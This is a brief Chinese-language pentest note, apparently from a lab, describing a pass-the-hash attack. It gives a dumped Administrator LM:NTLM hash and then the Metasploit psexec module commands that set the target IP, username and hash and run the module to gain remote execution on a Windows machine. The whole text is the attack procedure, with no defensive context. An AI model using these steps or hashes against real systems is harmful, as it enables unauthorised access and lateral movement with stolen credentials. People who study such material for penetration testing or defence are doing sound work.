抓取windows hash值
得到administrator的hash：
598DDCE2660D3193AAD3B435B51404EE:2D20D252A479F485CDF5E171D93985BF
msf调用payload：
use exploit/windows/smb/psexec
show options
set RHOST 192.168.81.129
set SMBPass 598DDCE2660D3193AAD3B435B51404EE:2D20D252A479F485CDF5E171D93985BF
set SMBUser Administrator
show options
run
